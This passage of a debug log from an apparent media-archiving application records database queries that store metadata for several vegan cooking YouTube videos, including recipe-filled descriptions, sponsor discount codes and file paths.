recipe right in your own kitchen! Learn how to make homemade granola that's perfect for a healthy breakfast. This healthy granola will quickly become your new favorite!", "What I eat in a day 🌱 Whole food, high protein & vegan", "68595edf-80cd-4862-ad7c-d5d3ad9c648f", 1, [], false, "wc3DM-7lL-g", "https://www.youtube.com/watch?v=wc3DM-7lL-g", 6, "/downloads/downloads/alec/Steamy Vegan/2026-03-05 What I eat in a day 🌱 Whole food, high protein & vegan/What I eat in a day 🌱 Whole food, high protein & vegan [wc3DM-7lL-g].NA", false, false, false, 1, ~U[2026-03-05 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "This 'what I eat in a day' video shows you how to make a delicious and easy protein cereal recipe (that also works as a healthy granola) right in your own kitchen! I went on a fun lunch date with Brad at a vegan café, and talk about the healthy anti-inflammatory soup I've been making on REPEAT this winter. I love showing you my realistic, nourishing plant based meals and sharing how wonderful it is to eat on a plant based diet! If you like easy vegan recipes you should definitely follow along. #steamyvegan\n\nJoin the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThank you to MSBLUE for sponsoring today's video!\n💎 Exclusive Steamy Vegan Community discount:\n✨ 15% off storewide code: 15Janelle\n🔗 Shop now:https://go.msblue.com/e06660\n#MSBLUE\n\nJoin the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nRECIPES MENTIONED IN THIS VIDEO\nProtein cereal 🔗 https://steamyvegan.com/protein-cereal/\nAnti-Inflammatory lentil soup 🔗 https://steamyvegan.com/anti-inflamma...\n\n💚 Other Exclusive Discounts on Products I Actually Use 💚\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nThis video shows you how to make a delicious and easy granola recipe right in your own kitchen! Learn how to make homemade granola that's perfect for a healthy breakfast. This healthy granola will quickly become your new favorite!", "What I eat in a day 🌱 Whole food, high protein & vegan", 1, nil, false, "wc3DM-7lL-g", "https://www.youtube.com/watch?v=wc3DM-7lL-g", "/downloads/downloads/alec/Steamy Vegan/2026-03-05 What I eat in a day 🌱 Whole food, high protein & vegan/What I eat in a day 🌱 Whole food, high protein & vegan [wc3DM-7lL-g].NA", false, ~U[2026-03-05 00:00:00Z]] 20:31:06.183 [debug] QUERY OK source="sources" db=0.6ms idle=11.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.185 [debug] QUERY OK source="media_items" db=2.2ms idle=8.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-02 00:00:00Z], 1] 20:31:06.188 [debug] QUERY OK source="media_items" db=2.2ms idle=9.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThese soup recipes are the perfect cozy and easy vegan recipes to try out as we start to transition into the Spring season. Each of these healthy recipes uses chickpeas and I have a few food hacks to make them high-protein, gluten-free, vegan and oh so tasty! Hope you enjoy!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nRECIPES\nMinestrone Soup 🔗 https://steamyvegan.com/minestrone-soup/\nChickpea Noodle Soup 🔗 https://steamyvegan.com/chickpea-nood...\n\nSmokey Chickpea Soup (recipe hitting blog soon, for now enjoy it here 😉)\n1 block extra firm tofu\n2 cans chickpeas, drained and rinsed\n1 cup dry yellow or red lentils\n2 tsp cumin, divided\n2 tsp smoked paprika, divided\n1 tsp dried oregano\n3 tbsp nutritional yeast\n1 small onion, diced\n1 medium carrot, diced\n4 to 6 garlic cloves, minced\n1 large handful baby spinach\n1 28 oz can diced tomatoes\n4 cups water or veggie broth\nFresh herbs\n\n1. Shred the block of tofu on the large hole side of of box grater into a large bowl. Toss with 1 tbsp oil, and 1 tsp each of cumin and smoked paprika, plus salt. Transfer to an air fryer in a single layer and air fry 15 to 20 mins at 375F\n2. Cook the onion and carrot in a large stock pot until softened and slightly golden, about 4 minutes. Add the oregano and remaining cumin and smoked paprika and cook a further 1 to 2 minutes to let the spices infuse the veg, stirring regularly.\n3. Add the yellow lentils and let toast with the other ingredients for a couple minutes. Add the broth and canned tomatoes, stir and cover and let cook for 15 minutes.\n4. Add the chickpeas and cook for 5 minutes. Remove one cup of broth from the soup and blend it with the garlic and nutritional yeast, then pour back into the pot. Stir in the spinach and herbs and let wilt, turning off the heat.\n5. Serve topped with crispy tofu and enjoy!\n\n\nCheck out these other recipes shown in this episode:\nLentil Patties: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0crispy\u00A0p...\u00A0\u00A0\nTVP Sausage Crumbles: \u00A0\u00A0\u00A0•\u00A0This\u00A0TVP\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0vegan\u00A0sausage!\u00A0\u00A0\nLentil Waffles: \u00A0\u00A0\u00A0•\u00A0These\u00A0healthy\u00A0waffles\u00A0are\u00A0made\u00A0from\u00A0LENTILS\u00A0\u00A0\nLentil Pizza Crust: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n💪🏼 WellBean Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Love CHICKPEAS? Make these cozy soup recipes this week!", "05e85162-1379-4f8b-9800-5f95be9c591f", 1, [], false, "IZ5sTBu7Tg8", "https://www.youtube.com/watch?v=IZ5sTBu7Tg8", 7, "/downloads/downloads/alec/Steamy Vegan/2026-03-02 Love CHICKPEAS? Make these cozy soup recipes this week!/Love CHICKPEAS? Make these cozy soup recipes this week! [IZ5sTBu7Tg8].NA", false, false, false, 1, ~U[2026-03-02 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThese soup recipes are the perfect cozy and easy vegan recipes to try out as we start to transition into the Spring season. Each of these healthy recipes uses chickpeas and I have a few food hacks to make them high-protein, gluten-free, vegan and oh so tasty! Hope you enjoy!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nRECIPES\nMinestrone Soup 🔗 https://steamyvegan.com/minestrone-soup/\nChickpea Noodle Soup 🔗 https://steamyvegan.com/chickpea-nood...\n\nSmokey Chickpea Soup (recipe hitting blog soon, for now enjoy it here 😉)\n1 block extra firm tofu\n2 cans chickpeas, drained and rinsed\n1 cup dry yellow or red lentils\n2 tsp cumin, divided\n2 tsp smoked paprika, divided\n1 tsp dried oregano\n3 tbsp nutritional yeast\n1 small onion, diced\n1 medium carrot, diced\n4 to 6 garlic cloves, minced\n1 large handful baby spinach\n1 28 oz can diced tomatoes\n4 cups water or veggie broth\nFresh herbs\n\n1. Shred the block of tofu on the large hole side of of box grater into a large bowl. Toss with 1 tbsp oil, and 1 tsp each of cumin and smoked paprika, plus salt. Transfer to an air fryer in a single layer and air fry 15 to 20 mins at 375F\n2. Cook the onion and carrot in a large stock pot until softened and slightly golden, about 4 minutes. Add the oregano and remaining cumin and smoked paprika and cook a further 1 to 2 minutes to let the spices infuse the veg, stirring regularly.\n3. Add the yellow lentils and let toast with the other ingredients for a couple minutes. Add the broth and canned tomatoes, stir and cover and let cook for 15 minutes.\n4. Add the chickpeas and cook for 5 minutes. Remove one cup of broth from the soup and blend it with the garlic and nutritional yeast, then pour back into the pot. Stir in the spinach and herbs and let wilt, turning off the heat.\n5. Serve topped with crispy tofu and enjoy!\n\n\nCheck out these other recipes shown in this episode:\nLentil Patties: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0crispy\u00A0p...\u00A0\u00A0\nTVP Sausage Crumbles: \u00A0\u00A0\u00A0•\u00A0This\u00A0TVP\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0vegan\u00A0sausage!\u00A0\u00A0\nLentil Waffles: \u00A0\u00A0\u00A0•\u00A0These\u00A0healthy\u00A0waffles\u00A0are\u00A0made\u00A0from\u00A0LENTILS\u00A0\u00A0\nLentil Pizza Crust: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n💪🏼 WellBean Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your (truncated) 20:31:06.190 [debug] QUERY OK source="sources" db=1.0ms idle=9.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.192 [debug] QUERY OK source="media_items" db=2.2ms idle=8.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-28 00:00:00Z], 1] 20:31:06.195 [debug] QUERY OK source="media_items" db=1.7ms idle=9.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this 'what I eat in a day' episode I'll show you the realistic, nourishing and delicious vegan meals I enjoyed in a day. These easy vegan recipes are perfect for busy days, and I show you how to make leftovers enjoyable and not boring! Hope you enjoy hanging out with me and get some tasty plant-based inspiration!\n\nJoin the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\n💧 Thank you to SimPure for sponsoring this video!\nUse my code STEAMYVEG to save up to 45% off the Y9T Countertop Water Filter System on Amazon, combined with their current promotion this is the lowest price they've ever offered! \nCode valid until: 2026-3-31 23:59 PDT.\nShop link 🔗 https://www.amazon.com/dp/B0DZWTKV29?...\n#simpure Y9T, #simpurewaterfilter, #simpurelife, #simpurereverseosmosis\n\nRECIPES FROM MY BLOG THAT I MENTIONED IN THIS VIDEO\nTofu Scramble 🔗 https://steamyvegan.com/tofu-scramble/\nChick'n Fajita Casserole 🔗 https://steamyvegan.com/fajita-casser...\nSheet Pan Fajitas 🔗 \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0MEAL\u00A0PREP:\u00A0Sheet\u00A0Pan\u00A0Fajitas\u00A0for\u00A0Bud...\u00A0\u00A0\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n\n💚 Other Exclusive Discounts on Products I Actually Use 💚\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nMusic by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522\nMusic by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0\nMusic by HONÜ - Rainbow Falls - https://thmatc.co/?l=0DDBB098", "What I eat in a day! 🌱 realistic & EASY vegan meals", "a5558c92-4171-4659-a9e6-78435a9a3274", 1, [], false, "2yo91wxD1uY", "https://www.youtube.com/watch?v=2yo91wxD1uY", 8, "/downloads/downloads/alec/Steamy Vegan/2026-02-28 What I eat in a day! 🌱 realistic & EASY vegan meals/What I eat in a day! 🌱 realistic & EASY vegan meals [2yo91wxD1uY].NA", false, false, false, 1, ~U[2026-02-28 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this 'what I eat in a day' episode I'll show you the realistic, nourishing and delicious vegan meals I enjoyed in a day. These easy vegan recipes are perfect for busy days, and I show you how to make leftovers enjoyable and not boring! Hope you enjoy hanging out with me and get some tasty plant-based inspiration!\n\nJoin the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\n💧 Thank you to SimPure for sponsoring this video!\nUse my code STEAMYVEG to save up to 45% off the Y9T Countertop Water Filter System on Amazon, combined with their current promotion this is the lowest price they've ever offered! \nCode valid until: 2026-3-31 23:59 PDT.\nShop link 🔗 https://www.amazon.com/dp/B0DZWTKV29?...\n#simpure Y9T, #simpurewaterfilter, #simpurelife, #simpurereverseosmosis\n\nRECIPES FROM MY BLOG THAT I MENTIONED IN THIS VIDEO\nTofu Scramble 🔗 https://steamyvegan.com/tofu-scramble/\nChick'n Fajita Casserole 🔗 https://steamyvegan.com/fajita-casser...\nSheet Pan Fajitas 🔗 \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0MEAL\u00A0PREP:\u00A0Sheet\u00A0Pan\u00A0Fajitas\u00A0for\u00A0Bud...\u00A0\u00A0\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n\n💚 Other Exclusive Discounts on Products I Actually Use 💚\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nMusic by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522\nMusic by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0\nMusic by HONÜ - Rainbow Falls - https://thmatc.co/?l=0DDBB098", "What I eat in a day! 🌱 realistic & EASY vegan meals", 1, nil, false, "2yo91wxD1uY", "https://www.youtube.com/watch?v=2yo91wxD1uY", "/downloads/downloads/alec/Steamy Vegan/2026-02-28 What I eat in a day! 🌱 realistic & EASY vegan meals/What I eat in a day! 🌱 realistic & EASY vegan meals [2yo91wxD1uY].NA", false, ~U[2026-02-28 00:00:00Z]] 20:31:06.196 [debug] QUERY OK source="sources" db=0.6ms idle=10.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.198 [debug] QUERY OK source="media_items" db=1.9ms idle=8.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-25 00:00:00Z], 1] 20:31:06.200 [debug] QUERY OK source="media_items" db=1.4ms idle=8.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nDumpling lasagna has gone viral all over TikTok, so I decided to turn this into a vegan recipe. Layers of seasoned tofu and veggies, won ton wrappers, and all kinds of flavour make this taste like soup dumplings but in a delicious layered lasagne style, plus it's done in an easy casserole form! It's a must try viral recipe that actually lives up to the hype 🤩\n\nGet the recipe for my Vegan Dumpling Lasagna on my blog ➡️ https://steamyvegan.com/vegan-soup-du...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out these other recipes shown in this episode:\nLentil Patties: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0crispy\u00A0p...\u00A0\u00A0\nTVP Sausage Crumbles: \u00A0\u00A0\u00A0•\u00A0This\u00A0TVP\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0vegan\u00A0sausage!\u00A0\u00A0\nLentil Waffles: \u00A0\u00A0\u00A0•\u00A0These\u00A0healthy\u00A0waffles\u00A0are\u00A0made\u00A0from\u00A0LENTILS\u00A0\u00A0\nLentil Pizza Crust: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n💪🏼 WellBean Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "I veganized the viral DUMPLING LASAGNA", "5ea84fd3-e83b-4f3c-8653-ab187218785d", 1, [], false, "t3ib9VIw6eA", "https://www.youtube.com/watch?v=t3ib9VIw6eA", 9, "/downloads/downloads/alec/Steamy Vegan/2026-02-25 I veganized the viral DUMPLING LASAGNA/I veganized the viral DUMPLING LASAGNA [t3ib9VIw6eA].NA", false, false, false, 1, ~U[2026-02-25 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nDumpling lasagna has gone viral all over TikTok, so I decided to turn this into a vegan recipe. Layers of seasoned tofu and veggies, won ton wrappers, and all kinds of flavour make this taste like soup dumplings but in a delicious layered lasagne style, plus it's done in an easy casserole form! It's a must try viral recipe that actually lives up to the hype 🤩\n\nGet the recipe for my Vegan Dumpling Lasagna on my blog ➡️ https://steamyvegan.com/vegan-soup-du...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out these other recipes shown in this episode:\nLentil Patties: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0crispy\u00A0p...\u00A0\u00A0\nTVP Sausage Crumbles: \u00A0\u00A0\u00A0•\u00A0This\u00A0TVP\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0vegan\u00A0sausage!\u00A0\u00A0\nLentil Waffles: \u00A0\u00A0\u00A0•\u00A0These\u00A0healthy\u00A0waffles\u00A0are\u00A0made\u00A0from\u00A0LENTILS\u00A0\u00A0\nLentil Pizza Crust: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n💪🏼 WellBean Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "I veganized the viral DUMPLING LASAGNA", 1, nil, false, "t3ib9VIw6eA", "https://www.youtube.com/watch?v=t3ib9VIw6eA", "/downloads/downloads/alec/Steamy Vegan/2026-02-25 I veganized the viral DUMPLING LASAGNA/I veganized the viral DUMPLING LASAGNA [t3ib9VIw6eA].NA", false, ~U[2026-02-25 00:00:00Z]] 20:31:06.201 [debug] QUERY OK source="sources" db=0.8ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.204 [debug] QUERY OK source="media_items" db=1.9ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-21 00:00:00Z], 1] 20:31:06.206 [debug] QUERY OK source="media_items" db=1.4ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThese protein blondies have 7g of protein, 190 calories, 4g fiber, are gluten-free, vegan, oil-free and best of all are packed with chickpeas that you can't even taste! If you're looking for a healthy dessert then try this blonde version of a protein brownie that almost reminds me of a sheet pan chocolate chip cookie. \n\nGet the recipe for my Chickpea Blondies on my blog! ➡️ https://steamyvegan.com/chickpea-blon...\n\nThe Protein Powder I Used in This Recipe\n💊🥬 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at 